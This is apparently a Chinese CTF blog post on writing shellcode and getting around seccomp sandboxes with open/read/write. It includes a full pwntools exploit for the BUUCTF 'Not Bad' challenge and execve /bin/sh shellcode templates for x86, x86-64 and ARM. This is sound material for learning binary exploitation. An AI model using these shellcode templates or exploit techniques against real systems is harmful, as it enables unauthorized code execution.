shellcode

shellcode

原理

  • 就是一段可以插入到程序或系统中并被执行的代码,shellcode的作用就是getshell

编写

64位

1
2
3
4
5
6
7
mov rax,0x68732f6e69622f ;这里后面那一大串是/bin/sh
push rax
mov rdi,rsp ;这两行使rdi指向/bin/sh
xor rsi,rsi
xor rdx,rdx
mov rax,0x3b
syscall

插入

1
2
3
4
5
6
read_flag='''
mov rdi,rax;
mov rsi,rsp;
......
'''
shellcode=asm(read_flag)

沙盒下的orw绕过

沙箱保护

  • 对程序加入的一些保护,最常见的是禁用一些系统调用,比如exceve,使我们不可通过系统调用获取到权限,因此只能通过ROP的方式调用open,read,write等来读取并打印flag内同

ORW

就是open, read,write简写,就是打开,写入,输出flag

查看沙箱

利用seccomp-tools查看是否开启了沙箱,以及沙箱中一些允许的syscall

安装:

1
2
sudo apt install gcc ruby-dev
gem install seccomp-tools

检查:

1
seccomp-tools dump ./pwn

开启沙箱

prctl()函数调用

  • 原型

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    #include <sys/prctl.h>
    int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);

    // 主要关注prctl()函数的第一个参数,也就是option,设定的option的值的不同导致黑名单不同,介绍2个比较重要的option
    // PR_SET_NO_NEW_PRIVS(38) 和 PR_SET_SECCOMP(22)

    // option为38的情况
    // 此时第二个参数设置为1,则 禁用execve系统调用 且子进程一样受用
    prctl(38, 1LL, 0LL, 0LL, 0LL);

    // option为22的情况
    // 此时第二个参数为1,只允许调用read/write/_exit(not exit_group)/sigreturn这几个syscall
    // 第二个参数为2,则为过滤模式,其中对syscall的限制通过参数3的结构体来自定义过滤规则。
    prctl(22, 2LL, &v1);

seccomp()系统调用

  • 原型

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    __int64 sandbox()
    {
    __int64 v1; // [rsp+8h] [rbp-8h]

    // 这里介绍两个重要的宏,SCMP_ACT_ALLOW(0x7fff0000U) SCMP_ACT_KILL( 0x00000000U)
    // seccomp初始化,参数为0表示白名单模式,参数为0x7fff0000U则为黑名单模式
    v1 = seccomp_init(0LL);
    if ( !v1 )
    {
    puts("seccomp error");
    exit(0);
    }

    // seccomp_rule_add添加规则
    // v1对应上面初始化的返回值
    // 0x7fff0000即对应宏SCMP_ACT_ALLOW
    // 第三个参数代表对应的系统调用号,0-->read/1-->write/2-->open/60-->exit
    // 第四个参数表示是否需要对对应系统调用的参数做出限制以及指示做出限制的个数,传0不做任何限制
    seccomp_rule_add(v1, 0x7FFF0000LL, 2LL, 0LL);
    seccomp_rule_add(v1, 0x7FFF0000LL, 0LL, 0LL);
    seccomp_rule_add(v1, 0x7FFF0000LL, 1LL, 0LL);
    seccomp_rule_add(v1, 0x7FFF0000LL, 60LL, 0LL);
    seccomp_rule_add(v1, 0x7FFF0000LL, 231LL, 0LL);

    // seccomp_load->将当前seccomp过滤器加载到内核中
    if ( seccomp_load(v1) < 0 )
    {
    // seccomp_release->释放seccomp过滤器状态
    // 但对已经load的过滤规则不影响
    seccomp_release(v1);
    puts("seccomp error");
    exit(0);
    }
    return seccomp_release(v1);
    }

shellcode的写入

一般溢出的大小不够写入很长的ROP链,因此提供mmap()函数,从而给出一段栈上的内存

1
void *mmap(void *start,size_t length,int prot,int flags,int fd,off_t offsize); 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void *mmap{
void *addr; //映射区首地址,传NULL
size_t length; //映射区大小
//会自动调为4k的整数倍
//不能为0
//一般文件多大,length就指定多大
int prot; //映射区权限
//PROT_READ 映射区必须要有读权限
//PROT_WRITE
//PROT_READ | PROT_WRITE
int flags; //标志位参数
//MAP_SHARED 修改内存数据会同步到磁盘
//MAP_PRIVATE 修改内存数据不会同步到磁盘
int fd; //要映射文件所对应的文件描述符
off_t offset; //映射文件的偏移量,从文件哪个位置开始
//映射的时候文件指针的偏移量
//必须是4k的整数倍
//一般设为0
}

参数

比如说

mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL);

  1. addr: (void *)0x123000
    • 这是请求映射的起始地址。0x123000 是一个具体的地址值。如果 mmap 调用成功,内核会尝试将内存映射到这个地址。如果地址不可用,内核会选择一个合适的地址。
  2. length: 0x1000uLL
    • 这是请求映射的内存区域的长度,单位是字节。0x1000 是 16 进制表示,等于 4096 字节(1 页)。
  3. prot: 6
    • 这是内存区域的保护标志,定义了对该区域的访问权限。6PROT_READ | PROT_WRITE 的组合,表示该区域可以读写。
  4. flags: 34
    • 这是映射的标志,定义了映射的类型和行为。34MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS 的组合,具体含义如下:
      • MAP_PRIVATE: 创建一个私有映射,对映射区域的修改不会反映到原始文件中。
      • MAP_FIXED: 强制使用指定的地址 addr,如果该地址不可用,调用会失败。
      • MAP_ANONYMOUS: 创建一个匿名映射,不与任何文件关联。
  5. fd: -1
    • 这是文件描述符,用于指定映射的文件。-1 表示不映射任何文件,通常与 MAP_ANONYMOUS 一起使用。
  6. offset: 0LL
    • 这是文件中的偏移量,用于指定映射的起始位置。0LL 表示从文件的开头开始映射。

orw绕过就是open flag,将flag写入某个区域,再write出来

题目

[极客大挑战 2019]Not Bad

BUUCTF在线评测

checksec

懒得放截图了,反正64位什么都没开

seccomp-tools

只允许read,write,open系统调用

IDA

main

可以看到从0x123000给分配了0x1000字节空间,权限可写可执行

直接看第三个函数

第三个

存在栈溢出,但长度小

  • 思路:

    在mmap分配的区域进行orw,并且在这个区域写入flag并输出flag

    1
    2
    3
    4
    5
    orw=asm(shellcraft.open('./flag'))
    orw+=asm(shellcraft.read(3,mmap+0x100,0x100))
    orw+=asm(shellcraft.write(1,mmap+0x100,0x100))
    # 写在mmap+0x100的地方
    # orw写在mmap来执行

    现在的问题是如何让rip指向那一块区域

    发现程序有一个jmp rsp可以利用

    那么我们可以构造栈

    栈

因为函数结束是有leave;retleave让rsp跑到了序号2(rbp)位置,rbp跑走了,然后ret再让rsp再移动到序号1的位置,此时与read相距0x28+8=0x30
所以是sub rsp,0x30

1
2
3
payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')
payload=payload.ljust(0x28,b'\x00')
payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')

完整:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
context(os='linux', arch='AMD64', log_level='debug')
#r=process('./bad')
r=remote("node5.buuoj.cn",29724)
# gdb.attach(r)
r.recvuntil('have fun!\n')
mmap=0x123000
jmp_rsp=0x400A01

orw=asm(shellcraft.open('./flag'))
orw+=asm(shellcraft.read(3,mmap+0x100,0x100))
orw+=asm(shellcraft.write(1,mmap+0x100,0x100))

payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')
payload=payload.ljust(0x28,b'\x00')
payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')
r.sendline(payload)

sleep(1)
r.sendline(orw)
r.interactive()

成功得到

^^

一些 shellcode 模板

x86-64/x86

32位

1
2
3
4
5
6
7
8
9
shellcode='''
push 0x0068732f
push 0x6e69622f
mov ebx,esp
xor edx,edx
xor ecx,ecx
mov al,0xb
int 0x80
'''

64

1
2
3
4
5
6
7
8
9
shellcode='''
mov rax,0x68732f6e69622f ;这里后面那一大串是/bin/sh
push rax
mov rdi,rsp ;这两行使rdi指向/bin/sh
xor rsi,rsi
xor rdx,rdx
mov rax,0x3b
syscall
'''

arm

32

1
2
3
4
5
6
7
8
9
shellcode = asm(
"""
eor r1, r1 # 清空第二个参数
eor r2, r2 # 清空第三个参数
mov r7, #11 # 给r7 exceve的系统调用号
mov r0, pc # 给 r0 pc,由于最后会写入/bin/sh,pc指向/bin/sh地址,使r0也就是第一个参数指向 /bin/sh (这里虽然pc为当前指令地址,但是mov r0,pc却会使r0为pc地址+8,刚好指向了/bin/sh。据说这是指向下一条指令地址)
svc 0 # 触发软中断,执行系统调用
.ascii "/bin/sh\\0" # 写入/bin/sh字符串
""")

shellcode
http://yyyffff.github.io/2025/01/26/shellcode/
作者
yyyffff
发布于
2025年1月26日
许可协议